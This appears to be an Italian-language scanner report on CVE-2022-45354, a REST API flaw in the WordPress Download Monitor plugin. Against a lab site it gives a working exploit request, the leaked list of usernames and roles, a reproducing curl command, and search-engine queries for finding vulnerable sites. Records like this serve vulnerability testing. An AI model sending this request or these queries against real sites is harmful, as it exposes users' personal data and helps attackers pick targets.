randomrobbiebf/cve-2022-45354Download Monitor <= 4.7.60 - Esposizione di informazioni sensibili tramite API REST
Dettagli: CVE-2022-45354:versione corrispondente su http://wordpress.lan
Protocollo: HTTP
URL Completo: http://wordpress.lan/wp-content/plugins/download-monitor/readme.txt
Timestamp: Tue Jul 11 09:09:59 +0000 UTC 2023
Informazioni Template
| Chiave | Valore |
|---|---|
| Nome | Download Monitor <= 4.7.60 - Esposizione di Informazioni Sensibili tramite API REST |
| Autori | topscoder |
| Tag | cve, wordpress, wp-plugin, download-monitor, medium |
| Severità | medium |
| Descrizione | Il plugin Download Monitor per WordPress è vulnerabile all'esposizione di informazioni sensibili nelle versioni fino alla 4.7.60 inclusa tramite API REST. Ciò può consentire ad attaccanti non autenticati di estrarre dati sensibili, inclusi rapporti utente, rapporti di download e dati utente come email, ruolo, id e altre informazioni (non password) |
| Metriche CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N |
| ID CVE | CVE-2022-45354 |
| Punteggio CVSS | 5.40 |
| query fofa | wp-content/plugins/download-monitor/ |
| query google | inurl:"/wp-content/plugins/download-monitor/" |
| query shodan | vuln:CVE-2022-45354 |
Richiesta
GET /wp-json/download-monitor/v1/user_data HTTP/1.1
Host: wordpress.lan
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Risposta
HTTP/1.1 200 OK
Date: Tue, 11 Jul 2023 09:46:18 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.28
dlm-no-waypoints: true
X-Robots-Tag: noindex
Link: <http://wordpress.lan/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET
Vary: Origin
Content-Length: 1108
Connection: close
Content-Type: application/json
[
{
"id": "1",
"nicename": "admin",
"url": "http://wordpress.lan",
"registered": "2023-01-16 13:29:36",
"display_name": "admin",
"role": ""
},
{
"id": "8",
"nicename": "agent",
"url": "",
"registered": "2023-07-06 08:09:15",
"display_name": "agent",
"role": [
"subscriber"
]
},
{
"id": "3",
"nicename": "debra_moran",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Debra Moran",
"role": [
"wdk_agent"
]
},
{
"id": "4",
"nicename": "garry_novan",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Garry Novan",
"role": [
"wdk_agent"
]
},
{
"id": "5",
"nicename": "kety_spear",
"url": "",
"registered": "2023-06-13 08:32:47",
"display_name": "Kety Spear",
"role": [
"wdk_agent"
]
},
{
"id": "7",
"nicename": "tagent",
"url": "",
"registered": "2023-07-06 08:09:14",
"display_name": "tagent",
"role": [
"subscriber"
]
},
{
"id": "9",
"nicename": "test",
"url": "",
"registered": "2023-07-06 09:56:31",
"display_name": "test",
"role": []
},
{
"id": "6",
"nicename": "rob",
"url": "",
"registered": "2023-06-28 13:36:56",
"display_name": "rob",
"role": [
"subscriber"
]
},
{
"id": "2",
"nicename": "user",
"url": "",
"registered": "2023-06-06 08:20:31",
"display_name": "user name",
"role": [
"subscriber"
]
}
]
Comando CURL
curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 'http://wordpress.lan/wp-json/download-monitor/v1/user_data'